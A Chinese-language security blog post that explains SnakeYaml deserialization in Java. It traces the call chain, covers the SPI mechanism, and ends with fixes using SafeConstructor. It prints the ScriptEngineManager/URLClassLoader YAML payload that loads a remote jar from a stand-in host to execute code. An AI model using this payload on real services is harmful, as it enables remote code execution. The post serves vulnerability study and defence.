开始研究Java安全相关技术了,最近开坑了Java反序列化漏洞的研究分析,在github上创了个研究Java反序列化的Repo,列出了一些最近准备分析的反序列化漏洞,打算系统的整理下Java反序列化的知识。Repo中放 Demo 和 PoC 的代码,Blog里放详细的漏洞分析文章。本篇SnakeYaml反序列是第一篇文章,后续会按照列表内容持续跟进相关漏洞。
Java SnakeYaml反序列化
SnakeYaml简介
SnakeYaml用于yaml格式的解析,支持Java对象的序列化、反序列化
Yaml在反序列化时,会调用类中的包含属性的setter方法
序列化、反序列化
- Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个
Java
对象; - Yaml.loadAll():入参是
Iterator
,可以批量反序列化Iterator
中的成员; - Yaml.loadAs():入参是
InputStream
,Class Type
,按照指定的类型进行反序列化; - Yaml.dump():同上
- Yaml.dumpAll():同上
- Yaml.dumpAs():同上
基本类型
List
1
2
3
4
5
6
7
8
9
10
11
12
13# test.yml
- value1
- value2
- value3
public void testType() throws Exception {
Yaml yaml = new Yaml();
List<String> ret = (List<String>)yaml.load(this.getClass().getClassLoader()
.getResourceAsStream("test.yml"));
System.out.println(ret);
}Map
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# test2.yml
sample1:
r: 10
sample2:
other: haha
sample3:
x: 100
y: 100
public void test2() throws Exception {
Yaml yaml = new Yaml();
Map<String, Object> ret = (Map<String, Object>) yaml.load(this
.getClass().getClassLoader().getResourceAsStream("test2.yaml"));
System.out.println(ret);
}多片段转换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22# test3.yml
---
sample1:
r: 10
---
sample2:
other: haha
---
sample3:
x: 100
y: 100
public void test3() throws Exception {
Yaml yaml = new Yaml();
Iterable<Object> ret = yaml.loadAll(this.getClass().getClassLoader()
.getResourceAsStream("test3.yml"));
for (Object o : ret) {
System.out.println(o);
}
}
对象转换
loadAs转换
1 | # address.yml |
指定构造器
1 |
|
强制转换
1 | # person.yml |
”!!”用于强制类型转化,”!!blbana.Person”是将该对象转为blbana.Person类
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://localhost:8000/"]
]]
]
SnakeYaml反序列化过程
- User类
1 | package blbana.YamlTest; |
- Yaml反序列化
1 | package blbana.YamlTest; |
首先在load
方法打下断点,获取到StreamReader
实际在构造方法中将Yaml内容放入到了StringReader
实例中,然后调用loadFormReader
方法
之后调用了基础构造器BaseConstructor
的getSingleData
方法获取yaml的反序列化实例,type为Object类型
继续跟进getSingleData
方法,先用getSingleNode
将StreamReader
中的Yaml
字符串转换为Node对象,再经过一些判断后,调用constructDocument
,其中使用constructObject
将node对象转换为指定类型的实例对象,在node中主要有两个关键属性:
Type
,用于指定构造实例对象的类型;Tag
,用于指定构造实例对象的构造器类型;
跟进调试constructObjectNoCheck
中使用constructor.construct
获取构造器处理node
constructor.construct
中获取node的构造器,并对node进行处理;可以看到在获取构造器的方法中,调用了getClassForNode
从node中获取到了要反序列化的类对象,并将类对象放入到node的type
属性中后面会利用反射动态获取实例对象,跟进一下getClassForNode
方法
getClassForNode
中有两个关键方法调用,getClassName
获取到了类名,getClassForName
获取Class
对象
getClassName
中当开头为固定字符串,就会截取后面的类名返回getClassForName
中利用反射获取User
的类对象
继续向下跟进,在newInstance
中实例化了User类,进入constructJavaBean2ndStep
已经有了User实例,在constructJavaBean2ndStep
中开始将node中的nodeValue
放入User实例中
调用constructObject
构造实例对象value,并调用property.set
进行属性设置
跟进MethodProperty.set
利用反射调用User类的setName
方法设置属性值
// 调用链
load()
loadFormReader()
getSingleData()
constructDocument()
constructObject()
constructor.construct()
getClassForNode()
getClassName()
getClassForName()
construct()
constructJavaBean2ndStep()
property.set()
Java SPI机制
这里需要提前了解一下Java SPI机制(Service Provider Interface),是Java提供的一套用来被第三方实现或者扩展的API,它可以用来启用框架扩展和替换组件。
常见的SPI有JDBC,日志接口,Spring,Spring Boot相关starter组件,Dubbo,JNDI等
使用介绍
- 当服务提供者提供了接口的一种具体实现后,在jar包的
META-INF/services
目录下创建一个以“包名 + 接口名”为命名的文件,内容为实现该接口的类的名称; - 接口实现类所在的jar包放在主程序的classpath中;
- 主程序通过
java.util.ServiceLoder
动态装载实现模块,它通过在META-INF/services目录下的配置文件找到实现类的类名,利用反射动态把类加载到JVM;
使用示例
1 | // SPI.IShout |
运行SPIMain后,Serviceloader会根据配置文件META-INF/services/SPI.IShout
获取到实现接口的类名,实例化后返回到IShout s
中,最终调用每个类实例的shout
方法
核心过程
调用load方法后,会返回一个LazyIterator
的实例对象
service
为要扫描的配置文件名loader
为当前线程的ClassLoader
当开始遍历这个对象时,调用其hasNext-->hasNextService, nex-->nextService
方法,在nextService
中反射生成Dog
和Cat
对象,返回到main
方法中调用
hasNextService
解析config
文件,获取要解析的接口实现类名nextService
实例化接口实现类并返回实例
安全风险
如果攻击者可以根据接口类写恶意的实现类,并且能通过控制Jar包中META-INF/services目录中的SPI配置文件,就会导致服务器端在通过SPI机制时调用攻击者写的恶意实现类导致任意代码执行。
Gadget
ScriptEngineManager
利用原理就是SPI机制
SnakeYaml反序列化漏洞
影响范围
SnakelYaml全版本
漏洞类型
Yaml.load方法参数外部可控时,可以构造一个含有恶意垒的Yaml格式内容,服务端进行反序列化可以引起远程命令执行等风险
漏洞复现
1 | package blbana.YamlTest; |
- RCE版本
1 | // PoC |
1 | // yaml-payload.jar |
漏洞详情
从yaml.load(PoC)
开始调试,前面的调用链和上述的User类反序列过程是一样的,主要看关键的几个类在构造时的情况
// 调用链
loadFormReader()
getSingleData()
constructDocument()
constructObject()
constructor.construct()
getClassForNode()
getClassName()
getClassForName()
construct()
c.newInstance()
ScriptEngineManager.init()
ScriptEngineManager.initEngines()
ServiceLoader.load()
itr.hasNext()
itr.next()
ServiceLoader.nextService()
Class.forName()
c.newInstance()
第一个节点类型为SequenceNode
,使用Constructor$ConstructSequence
构造方法进行解析,先根据当前节点snode
的value
大小生成java.lang.reflect.Constructor
类型的List,利用反射机制获取当前节点的所有构造器,并根据节点的Value数量选择对应参数数量的构造器
接下来先获取类的构造器,然后循环将node中的所有Value调用Constructor.this.constructObject(argumentNode)
进行反序列化,获取value的实例对象,用于接下来实例化。
constructObject
中会继续遍历解析yaml数据,按照以下顺序进行反序列化
- class java.lang.String (类对象) Construct$ConstructScalar (构造器)
- class java.net.URL (类对象) Construct$ConstructSequence (构造器)
- class java.net.URLClassLoader(类对象) Construct$ConstructSequence (构造器)
- class javax.script.ScriptEngineManager(类对象) Construct$ConstructSequence (构造器)
调试过程都差不多,只有最后一个节点类型使用构造器不一样
最终使用public javax.script.ScriptEngineManager(java.lang.ClassLoader)
构造器实例化javax.script.ScriptEngineManager
,argumentListx
为参数列表
继续跟进public javax.script.ScriptEngineManager(java.lang.ClassLoader)
构造方法,接下来就是ScriptEngineManager
实例化的过程
跟进initEngines
看见实例化了ServiceLoader
类,这里用到了上面提到的SPI机制,可以动态的加载指定配置文件中的接口的实现类
循环调用LazyIterator
的 hasNext
和 next
方法,分别 获取接口实现类 和 实例化接口实现类
尝试在本地的META-INF/services/javax.script.ScriptEngineFactory
中加载config
资源,抛出异常
之后会先将本地jar包中符合条件的接口类实例化,然后通过URLClassLoader
加载远程jar包,并拉取至本地的临时文件中,解析jar包中的配置文件META-INF/services/javax.script.ScriptEngineFactory
获取到目标接口实现类artsploit.AwesomeScriptEngineFactory
,利用反射机制实例化目标类,类中的静态代码块被执行,成功执行命令
漏洞修复
- 禁止
Yaml.load
参数可控 - 若需要反序列化,则要过滤参数内容,使用
SafeConstructor
对反序列化内容进行白名单控制
安全编码
1 | import org.yaml.snakeyaml.constructor.SafeConstructor; |